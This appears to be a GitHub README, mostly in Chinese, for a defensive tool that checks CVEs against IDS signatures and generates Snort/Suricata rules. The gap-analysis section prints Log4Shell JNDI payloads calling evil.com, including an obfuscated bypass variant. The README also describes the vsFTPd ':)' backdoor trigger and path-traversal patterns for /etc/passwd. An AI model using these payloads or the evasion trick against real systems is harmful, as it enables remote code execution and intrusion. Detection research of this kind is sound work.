krish-achanta/vuln-validator
GitHub: krish-achanta/vuln-validator
一个安全研究框架,通过将 CVE 漏洞信息映射到 Sigma/YARA 遥测策略来暴露企业检测盲区,并输出可供 AI 模型消费的结构化特征数据。
Stars: 0 | Forks: 0
# vuln-validator



## 这个工具能做什么 —— 通俗解释
假设你听说了一个名为 Log4Shell (CVE-2021-44228) 的漏洞。在打补丁或编写检测规则之前,安全研究员需要回答四个问题:
1. **它有多严重?** → CVSS 评分、攻击向量、受影响的产品
2. **真的有人能利用它吗?** → 是否有公开的 exploit?是否有 Metasploit 模块?GitHub 上是否有 PoC?它是否正在野外被积极利用?
3. **我的 IDS/防火墙能拦截它吗?** → 攻击 payload 是否匹配任何已知的 Snort/Suricata 特征?
4. **我遗漏了什么?** → 哪些攻击变体可以绕过检测?我应该修复什么?
`vuln-validator` 会自动回答这四个问题,并将结果生成一份 HTML 报告。
## 两种使用方式
### 方法 1:传入一个 CVE ID
```
python3 vuln_validator.py --cve CVE-2021-44228 --test-detection --report
```
它会从 [NIST NVD 数据库](https://nvd.nist.gov) 获取完整的漏洞详情,检查可利用性指标,运行检测测试,并进行差距分析。
### 方法 2:传入一个服务 banner
```
python3 vuln_validator.py --banner "Apache/2.4.49" --test-detection --report
```
**服务 banner** 是服务器在你连接时向你展示的自身信息。例如,当你对目标运行 `nmap -sV` 时,你会看到类似 `Apache/2.4.49` 或 `OpenSSH_7.2p2` 的信息。该工具会获取该字符串,在本地漏洞数据库中进行查找,发现哪些 CVE 会影响该确切版本,然后运行相同的检测测试。
## 安装
```
git clone https://github.com/krish-achanta/vuln-validator
cd vuln-validator
pip install -r requirements.txt
```
## 使用方法
```
# 通过完整的检测测试和 HTML 报告验证 CVE
python3 vuln_validator.py --cve CVE-2021-44228 --test-detection --report
# 分析从 nmap 抓取的 service banner
python3 vuln_validator.py --banner "Apache/2.4.49" --test-detection --report
# 两者结合 —— 当您同时知道 CVE 和目标 banner 时非常有用
python3 vuln_validator.py --cve CVE-2021-41773 --banner "Apache/2.4.49" \
--test-detection --report
# 离线模式 —— 使用本地缓存的 CVE 数据(首次运行后无需联网)
python3 vuln_validator.py --cve CVE-2021-44228 --offline --test-detection --report
# 针对活动的实验靶机进行测试(向主机发送 HTTP 探测)
python3 vuln_validator.py --cve CVE-2021-44228 --banner "Apache/2.4.49" \
--target 192.168.1.10 --test-detection --report
```
### 参数说明
| 参数 | 描述 |
|----------|-------------|
| `--cve` | 要验证的 CVE ID,例如 `CVE-2021-44228` |
| `--banner` | 服务 banner 字符串,例如 `"Apache/2.4.49"` |
| `--target` | 用于实时 HTTP 检测测试的可选 IP/主机 |
| `--test-detection` | 模拟 IDS/SIEM 特征匹配 |
| `--report` | 生成 HTML 差距分析报告 |
| `--offline` | 仅使用缓存的 CVE 数据(不调用 NVD API) |
| `-o` | 输出目录(默认:`reports/`) |
## 目前支持测试的 CVE
以下 CVE 具有内置的完整检测特征 —— 你将自动获得检测结果、绕过分析以及生成的 Snort 规则:
| CVE | 漏洞名称 | 它的作用 |
|-----|--------------|-------------|
| `CVE-2021-44228` | **Log4Shell** | Apache Log4j 中的 JNDI 注入 —— 有史以来发现的最严重的 CVE 之一。影响所有使用 Log4j 2.x 的系统 |
| `CVE-2021-41773` | **Apache 路径遍历** | Apache 2.4.49 允许读取 Web 根目录之外的文件,例如 `/etc/passwd` |
| `CVE-2014-6271` | **Shellshock** | Bash 会处理环境变量中由攻击者控制的命令 |
| `CVE-2014-0160` | **Heartbleed** | OpenSSL 泄漏服务器内存,其中包括私钥 |
| `CVE-2017-0144` | **EternalBlue** | WannaCry 勒索软件使用的 SMB 漏洞利用 —— MS17-010 |
| `CVE-2020-1938` | **Ghostcat** | Apache Tomcat AJP 端口泄漏/读取任意文件 |
| `CVE-2011-2523` | **vsFTPd 后门** | vsFTPd 2.3.4 包含一个蓄意的后门,通过用户名中的 `:)` 触发 |
| `CVE-2017-7494` | **SambaCry** | Samba 任意共享库加载 —— Linux 下的 EternalBlue 等价物 |
**对于任何其他 CVE**(例如 `CVE-2023-44487`、`CVE-2022-30190`),你依然会获得:
- 来自 NVD 的完整 CVSS 评分和严重程度
- 漏洞描述和受影响的产品
- 可利用性指标(Exploit-DB、Metasploit、GitHub PoC、CISA KEV)
- 提示不存在本地检测特征的缺失标志
```
# 示例 —— 任何 CVE 均可进行 NVD 查询 + 可利用性检查
python3 vuln_validator.py --cve CVE-2023-44487 --report
# ^ HTTP/2 Rapid Reset DDoS —— 您将获得 CVSS 7.5、参考信息和可利用性检查
```
## 真实示例输出
### 示例 1 — Log4Shell + Apache banner
```
$ python3 vuln_validator.py --cve CVE-2021-44228 --banner "Apache/2.4.49" \
--test-detection --report
[*] Looking up CVE-2021-44228 via NVD API...
[+] CVE : CVE-2021-44228
[+] CVSS : 10.0 (CRITICAL)
[+] CWE : CWE-917, CWE-502
[+] CPEs : 163 affected product entries
[+] Published: 2021-12-10
[*] Parsing banner: Apache/2.4.49
[+] Apache HTTP Server 2.4.49 → CVE-2021-42013, CVE-2021-41773
[*] Checking exploitability...
[+] Exploit-DB: 3 exploit(s) found for CVE-2021-44228
[+] Metasploit: 4 module file(s) reference CVE-2021-44228
[+] GitHub PoC: 5 repo(s) found (top: tangxiaofeng7/CVE-2021-44228-Apache-Log4j-Rce)
[+] CISA KEV: ⚠ IN CISA KEV LIST — actively exploited in the wild
[*] Running detection gap tests...
[>] 3 test case(s) to evaluate
[+] Log4Shell JNDI Basic (CVE-2021-44228) → DETECTED | EVASION POSSIBLE
[+] Log4Shell JNDI RMI (CVE-2021-44228) → DETECTED
[+] Apache 2.4.49 Path Traversal (CVE-2021-41773) → DETECTED
════════════════════════════════════════════════════════════
VULNERABILITY VALIDATION SUMMARY
════════════════════════════════════════════════════════════
CVE : CVE-2021-44228
Description : Apache Log4j2 2.0-beta9 through 2.15.0 JNDI features...
CVSS Score : 10.0 (CRITICAL)
Vector : CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
Published : 2021-12-10
References : 21 link(s)
Banner : Apache/2.4.49
Matched CVEs : CVE-2021-42013, CVE-2021-41773
Exploit DB : ✔ PUBLIC EXPLOIT EXISTS
Metasploit : ✔ MODULE EXISTS
PoC GitHub : ✔ PoC FOUND
CISA KEV : ⚠ IN CISA KEV LIST
Risk Rating : CRITICAL
Detection Gaps Found : 1
⚠ [MEDIUM] Log4Shell JNDI Basic: rule fires on base payload
but 1 bypass variant evades detection.
→ Use obfuscation-aware PCRE rules.
Detection Coverage : [████████████████████░░░░] 93%
════════════════════════════════════════════════════════════
[+] Report: reports/CVE_2021_44228_20260525/gap_report_CVE_2021_44228.html
```
### 示例 2 — Shellshock (CVE-2014-6271)
```
$ python3 vuln_validator.py --cve CVE-2014-6271 --test-detection --report
[*] Checking exploitability for CVE-2014-6271...
[*] Running detection gap tests...
[>] 1 test case(s) to evaluate
[+] Shellshock Basic (CVE-2014-6271) → DETECTED
Detection Coverage : [████████████████████] 100%
```
### 示例 3 — EternalBlue (CVE-2017-0144)
```
$ python3 vuln_validator.py --cve CVE-2017-0144 --test-detection --report
[!] EternalBlue SMB Negotiation (CVE-2017-0144) → NOT DETECTED
Detection Gaps Found : 1
⚠ [HIGH] No IDS signature available — CVE has no detection
test in the local signature library.
→ Develop a custom Snort/Suricata rule.
Detection Coverage : [██████████░░░░░░░░░░] 50%
```
EternalBlue 显示为“未检测到 (NOT DETECTED)”,因为该检测测试需要原始的 SMB 数据包检查 —— 输出中会为它生成一条 Snort 规则,但如果没有真实的数据包,模拟引擎无法在 SMB 二进制数据上触发。这本身就是一个有效的发现:它正确识别出了一个检测缺失。
### 示例 4 — 来自 nmap 输出的服务 banner
```
$ python3 vuln_validator.py --banner "vsFTPd 2.3.4" --test-detection --report
[*] Parsing banner: vsFTPd 2.3.4
[+] vsFTPd 2.3.4 → CVE-2011-2523
[*] Running detection gap tests...
[+] vsFTPd 2.3.4 Backdoor Trigger (CVE-2011-2523) → DETECTED
Detection Coverage : [████████████████████] 100%
```
`vsFTPd 2.3.4` 臭名昭著 —— 它包含一个蓄意的后门。任何连接到它并发送以 `:)` 结尾的用户名的人,都将在 6200 端口上获得一个 root shell。检测特征正确地识别出了这一点。
## 理解差距分析
差距分析会对 **7 项检测检查** 进行评分,并将它们汇总为一个覆盖率百分比:
```
Check 1 — Exploit-DB coverage
Does a public exploit exist AND would your IDS fire on it?
If Exploit-DB has an exploit but detection missed it → GAP flagged
Check 2 — Metasploit coverage
Is there an MSF module AND would it be caught?
Metasploit payloads have specific signatures — some IDS rulesets miss them
Check 3 — CISA KEV + detection
Is this vulnerability actively being exploited in the wild (CISA KEV list)?
If yes AND detection failed → CRITICAL gap
Check 4 — Evasion bypass
Does obfuscating the payload (e.g. URL encoding, case variation, nested
substitution) bypass the detection rule?
Example: ${jndi:ldap://evil.com/a} → DETECTED
${${::-j}${::-n}${::-d}i:ldap://evil.com/a} → NOT DETECTED ← GAP
Check 5 — No signature at all
CVE exists and has exploits but zero detection rules cover it
Check 6 — High CVSS + no detection
CVSS score ≥ 7.0 but no detection test was available
Check 7 — Public PoC + detection gap
PoC exists on GitHub but detection may not cover all PoC variants
```
**覆盖率 % = 通过检查的加权平均值 + 检测测试通过率**
100% 的分数意味着针对该 CVE 的每一个已知攻击向量都将被生成的 Snort 规则捕获。50% 则意味着有一半会漏网。
## 生成的 Snort/Suricata 规则
每次运行 `--test-detection` 都会输出一个 `.rules` 文件,你可以将其加载到 Snort 或 Suricata 中:
```
# vuln-validator 生成的 Snort/Suricata 规则
# 在部署到生产环境之前,请进行检查和调优
alert tcp any any -> any any (
msg:"CVE-2021-44228 - Log4Shell JNDI Basic";
content:"${jndi:";
classtype:attempted-admin;
sid:9067573; rev:1;
)
alert tcp any any -> any any (
msg:"CVE-2021-44228 - Log4Shell JNDI RMI";
content:"jndi:rmi";
classtype:attempted-admin;
sid:9016568; rev:1;
)
alert tcp any any -> any any (
msg:"CVE-2021-41773 - Apache 2.4.49 Path Traversal";
content:".%2e/";
pcre:"/\.%2e\/.*etc\/passwd/i";
classtype:attempted-admin;
sid:9088064; rev:1;
)
```
要在 Kali 上的 Suricata 中测试这些规则:
```
suricata -c /etc/suricata/suricata.yaml \
-S reports/CVE_2021_44228_20260525/detection_rules.rules \
-r your_pcap_file.pcap
```
## 输出结构
```
reports/
└── CVE_2021_44228_20260525_070509/
├── CVE-2021-44228_nvd.json ← Raw NVD API response (CVSS, CPEs, refs)
├── banner_match.json ← Banner parse results
├── detection_results.json ← Per-test detection pass/fail + evasion
├── detection_rules.rules ← Generated Snort/Suricata rules
└── gap_report_CVE_2021_44228.html ← Full HTML report (open in Firefox)
```
## 如何使用 Banner(nmap 工作流)
结合 nmap 和 vuln-validator 的典型渗透测试工作流:
```
# 步骤 1 —— 使用 nmap service detection 扫描目标
nmap -sV 192.168.1.10
# nmap 输出显示:
# 21/tcp open ftp vsftpd 2.3.4
# 80/tcp open http Apache httpd 2.4.49
# 22/tcp open ssh OpenSSH 7.2p2
# 步骤 2 —— 将每个 banner 输入到 vuln-validator
python3 vuln_validator.py --banner "vsftpd 2.3.4" --test-detection --report
python3 vuln_validator.py --banner "Apache/2.4.49" --test-detection --report
python3 vuln_validator.py --banner "OpenSSH_7.2p2" --test-detection --report
# 步骤 3 —— 在 Firefox 中打开 HTML 报告
firefox reports/*/gap_report_*.html
```
## 法律免责声明
## 作者
[krish-achanta](https://github.com/krish-achanta)
标签:AMSI绕过, GPT, Maven, Metaprompt, Python, 威胁检测, 无后门, 漏洞管理, 漏洞验证, 逆向工具